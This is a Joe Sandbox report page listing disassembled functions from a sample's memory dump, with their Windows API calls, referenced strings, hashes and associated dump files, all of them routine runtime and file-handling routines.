Instruction ID: 3a9b67f63367f7c04be8eea19a4778d555653a44d9d6ef8b5801f4a0d49276bd
Opcode Fuzzy Hash: 1fec844170739e9eb83649e95954326af279c78d92fcd76f635f8212d55e3c16
Instruction Fuzzy Hash: B201F5312043746AEF216B747C45BEE3358DF297ADF180016FA01DA1C5DB94CA8186B1

Function 00D4CA53 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00D4CA78

Strings

, xrefs: 00D4CABD

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 9cb5a8c2f1d7f2915dae78caac0d834bcebfda3e4a8f8d8ad82b21b32402e2c2
Instruction ID: 91a0793186269c35e8812ada86a357d6805220b5e946c036d55cb3d2e7a1f569
Opcode Fuzzy Hash: 9cb5a8c2f1d7f2915dae78caac0d834bcebfda3e4a8f8d8ad82b21b32402e2c2
Instruction Fuzzy Hash: E841F57150528C9BDF228E68CC85AF6BBE9EB55304F1818EDE5CA87142D235AA458F30

Function 00D4C12C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,62E85006,00000001,?,?), ref: 00D4C19D

Strings

LCMapStringEx, xrefs: 00D4C13D, 00D4C147

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: a90e16de5e93287ae1722906b852f8a68acf64165a0ec3bb5b982ac2e4088646
Instruction ID: 5de77b5c863134e410ad2cc14eb54a8e02f1f9bd2fa46121981993938033360c
Opcode Fuzzy Hash: a90e16de5e93287ae1722906b852f8a68acf64165a0ec3bb5b982ac2e4088646
Instruction Fuzzy Hash: 56012532501208BFCF029FA0DC01DEE3FA2EF08761F045115FE0866161CB729975ABA0

Function 00D4C0CA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00D4B72F), ref: 00D4C115

Strings

InitializeCriticalSectionEx, xrefs: 00D4C0DB, 00D4C0E5

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: cb47a8a7ccd65f6389a909c87ebb16e4d422deb1a013c4dcb24c66628d3c3cd4
Instruction ID: 9941aff2121fc2bff91e5f99fa7f9f4f5ba9bd553d59076d0c4e469fe43ea2d0
Opcode Fuzzy Hash: cb47a8a7ccd65f6389a909c87ebb16e4d422deb1a013c4dcb24c66628d3c3cd4
Instruction Fuzzy Hash: 55F0BE31A41318BFCF019F90CC02CAE7FA1EF287A2B004026FD096A260CF719955ABB0

Function 00D4BF6F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00D4BFAE

Strings

FlsAlloc, xrefs: 00D4BF80, 00D4BF8A

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 06c499d17793be0b53557973423eb018b4dedeaa60803669555997e76925ddb4
Instruction ID: b8b402f46c1f97139491b12719392ee9c8d517af5546288a9f3ccd1f3cefe307
Opcode Fuzzy Hash: 06c499d17793be0b53557973423eb018b4dedeaa60803669555997e76925ddb4
Instruction Fuzzy Hash: C9E0E531A413187F8A006B649C0297EBB94CF58B22F41015AFD09A7350CF71AD49AEFA

Function 00D3FD58 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3FD6A

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Strings

3Ro, xrefs: 00D3FD58, 00D3FD64

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3Ro
API String ID: 1269201914-1492261280
Opcode ID: 125e256a3a9b8fcf526b39fc760dfc5a6c85909743e31edac5f72323c7d3d762
Instruction ID: 6234df69970bf08c2ddfff95f566ba195590746ee6677b2bbff224f2762a13cf
Opcode Fuzzy Hash: 125e256a3a9b8fcf526b39fc760dfc5a6c85909743e31edac5f72323c7d3d762
Instruction Fuzzy Hash: 53B012916685047D371423107C07F3A010CC4C0B12F70853AF881C004094444D4C1971

Function 00D4CDB0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00D4C97B: GetOEMCP.KERNEL32(00000000,?,?,00D4CC04,?), ref: 00D4C9A6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00D4CC49,?,00000000), ref: 00D4CE24
GetCPInfo.KERNEL32(00000000,00D4CC49,?,?,?,00D4CC49,?,00000000), ref: 00D4CE37

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 34069fca5099b752f8f94e65e4bc4d50741bfc171f0ad12c5433eefd1f164da6
Instruction ID: 56647feafa154cc152c3df4e4e2e3cd0ff5545d7bf635a957e8f79abea4aa315
Opcode Fuzzy Hash: 34069fca5099b752f8f94e65e4bc4d50741bfc171f0ad12c5433eefd1f164da6
Instruction Fuzzy Hash: 995126709223459FDB60CF75C8416BBBBE6EF41300F18546EE096C7252E7399945CBB0

Function 00D2ACD4 Relevance: 3.1, APIs: 2, Instructions: 134COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-000018C0,00000000,00000800,?,00D2ACB0,?,?,00000000,?,?,00D29C8B,?), ref: 00D2AE3A
GetLastError.KERNEL32(?,?,00D29C8B,?,?,?,-000018C0,?,-00002908,00000000,-00000880,?,00000000,?,?,00000000), ref: 00D2AE49

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7fa131d9c1e9b97a5b2e863509f31a52a91a62aeede09bd2492f596e5b055844
Instruction ID: 0a49a3584114e8302d601ac50539c1927804445bac1dc87f3dd15f25f8bfa74d
Opcode Fuzzy Hash: 7fa131d9c1e9b97a5b2e863509f31a52a91a62aeede09bd2492f596e5b055844
Instruction Fuzzy Hash: 814117352043658BD724AF2CF8846AA73E4FF7831AF180529E88587A51F7B1DC858B73

Function 00D4CBE7 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00D4A515: GetLastError.KERNEL32(?,00D63070,00D45982,00D63070,?,?,00D45281,00000050,?,00D63070,00000200), ref: 00D4A519
Part of subcall function 00D4A515: _free.LIBCMT ref: 00D4A54C
Part of subcall function 00D4A515: SetLastError.KERNEL32(00000000,?,00D63070,00000200), ref: 00D4A58D
Part of subcall function 00D4A515: _abort.LIBCMT ref: 00D4A593

Part of subcall function 00D4CD0E: _abort.LIBCMT ref: 00D4CD40
Part of subcall function 00D4CD0E: _free.LIBCMT ref: 00D4CD74

Part of subcall function 00D4C97B: GetOEMCP.KERNEL32(00000000,?,?,00D4CC04,?), ref: 00D4C9A6

_free.LIBCMT ref: 00D4CC5F
_free.LIBCMT ref: 00D4CC95

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 579ce017c379dc294e1bd979577f9f71386c9e601e94e8027a4431f02591ebea
Instruction ID: a7331232d8a37baa36d6ec46a921ce71bdcb0c8facb191598b91163fdf5d5106
Opcode Fuzzy Hash: 579ce017c379dc294e1bd979577f9f71386c9e601e94e8027a4431f02591ebea
Instruction Fuzzy Hash: FF31E531901204EFDB50EF69D480BADBBF5EF40320F290099F4089B2A1EB769D41DBB0

Function 00D2B032 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00D27ED0,?,?,?,00000000), ref: 00D2B04C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00D2B100

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: ef2f46f04212d453dbf47c747e40006f1f57f6d645d29b09a43ad11c153eefff
Instruction ID: d784dfb0cb0a28d18cac6ac82ff51d52c6aa4c8e18e3a51077bd39e8a597517e
Opcode Fuzzy Hash: ef2f46f04212d453dbf47c747e40006f1f57f6d645d29b09a43ad11c153eefff
Instruction Fuzzy Hash: C92136312483519FC311CE74D991AABBBE4AF66318F08081EF4E0C3181D369D90CDB72

Function 00D2A8CE Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00D2B1B7,?,?,00D281FD), ref: 00D2A946
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00D2B1B7,?,?,00D281FD), ref: 00D2A976

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 057946585d35a54dccbbe71a2a89a0c5785b523c2bc2371cbda9189ebeb70fda
Instruction ID: 52d35d2ed353669b789782998ac9a592ee60107ddd7067c40249be3627d84a05
Opcode Fuzzy Hash: 057946585d35a54dccbbe71a2a89a0c5785b523c2bc2371cbda9189ebeb70fda
Instruction Fuzzy Hash: 6E2103714043546FE3308A29DC88BB777DCEB69329F950A19F9D5C21C1C774AC848A32

Function 00D21F30 Relevance: 3.1, APIs: 2, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D21F35

Part of subcall function 00D242F1: __EH_prolog.LIBCMT ref: 00D242F6

_wcslen.LIBCMT ref: 00D21FDA

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 778720d1e0d3c3baf3389c70d243d33d06d0d166d4da75d0fb1a53da753efcb4
Instruction ID: 761c81abfa7f73f28570e3c950198478bb877c4e9216c6df35903e087e526be7
Opcode Fuzzy Hash: 778720d1e0d3c3baf3389c70d243d33d06d0d166d4da75d0fb1a53da753efcb4
Instruction Fuzzy Hash: C3216B36904229AFCF11AF99D8919EEFBB5FF28304F10402DF455A32A1C7755951CB70

Function 00D44D02 Relevance: 3.1, APIs: 2, Instructions: 67libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00D840C4,?,?,?,00D44EF6,00000004,InitializeCriticalSectionEx,00D57424,InitializeCriticalSectionEx,00000000,?,00D44CAD,00D840C4,00000FA0), ref: 00D44D85
GetProcAddress.KERNEL32(00000000,?), ref: 00D44D8F

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID:
API String ID: 3013587201-0
Opcode ID: 34821b6695bff12ff0cf40db21dde038837cdf1b2234389fd68064bf5f5ff79e
Instruction ID: 26190684bbef7163c838d2a72662c19b2f1a1f117e79722757d13ffdfbb40fea
Opcode Fuzzy Hash: 34821b6695bff12ff0cf40db21dde038837cdf1b2234389fd68064bf5f5ff79e
Instruction Fuzzy Hash: 1B119336A016159F9F22CFA4EC80AAA73A9FF453607280169E945D7354E730DD81CBB0

Function 00D2B110 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00D2B157
GetLastError.KERNEL32 ref: 00D2B164

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 9f17807cc31e83d98aa6a97ea89bc87857225cb5fcacebfad671248923c680bf
Instruction ID: 387de1c9b3eeed962752f313acc311291429ce67cde32759dcb7d94944a80c14
Opcode Fuzzy Hash: 9f17807cc31e83d98aa6a97ea89bc87857225cb5fcacebfad671248923c680bf
Instruction Fuzzy Hash: 5111E931600720ABD7368B28E854766B3E9FF14378F64462AE592D31D0D7B0ED55C770

Function 00D4A6A4 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D4A6C5

Part of subcall function 00D4A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D4DBEC,00000000,?,00D480B1,?,00000008,?,00D4A871,?,?,?), ref: 00D4A830

HeapReAlloc.KERNEL32(00000000,?,?,?,?,00D630C4,00D2187A,?,?,00000007,?,?,?,00D213F2,?,00000000), ref: 00D4A701

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 3b5a031f251d85a69bdfc7beea56b52a18d45a1869cd8add24b5ef08031f51dc
Instruction ID: f14071fdbddd516efa1274b198efe829b05e539c1ad3f284bba676c9623cf320
Opcode Fuzzy Hash: 3b5a031f251d85a69bdfc7beea56b52a18d45a1869cd8add24b5ef08031f51dc
Instruction Fuzzy Hash: BCF096311C1A11A7DB213B2EAC01F6B3768DF81BF1B1F4016F8159A191EE20DC40A5BB

Function 00D323BD Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00D323CA
GetProcessAffinityMask.KERNEL32(00000000), ref: 00D323D1

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 351405c99bf6665ef90aac2026856f38ef454e0ffa248e7a39533d003d7f468c
Instruction ID: 3eee2dfcc4b9bdddf224591f0a34d8e27fbad4536f4ece3bd9a7d3a5092e3088
Opcode Fuzzy Hash: 351405c99bf6665ef90aac2026856f38ef454e0ffa248e7a39533d003d7f468c
Instruction Fuzzy Hash: EDE09233F11205A78F0987A8AC458FBB2ECDA44319B284179A903E3240E978DD4546B0

Function 00D2F968 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

LoadStringW.USER32(?,?,00000200,?), ref: 00D2F998
LoadStringW.USER32(?,?,00000200), ref: 00D2F9AF

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 5d6f04d23b015e712d1eafab627b10832e767a42b209a60ba562aa558951db01
Instruction ID: a581d3996b6a1063e0edea97d1353ebd6cec62cb5f02194b498ca8c17816e4d8
Opcode Fuzzy Hash: 5d6f04d23b015e712d1eafab627b10832e767a42b209a60ba562aa558951db01
Instruction Fuzzy Hash: 12F0F832100229BBCF115F55EC08DAB7F6AFF1A390B004425FD0486234D2328960EBB0

Function 00D2B8E6 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00D2B5B5,?,?,?,00D2B405,?,00000001,00000000,?,?), ref: 00D2B8FA

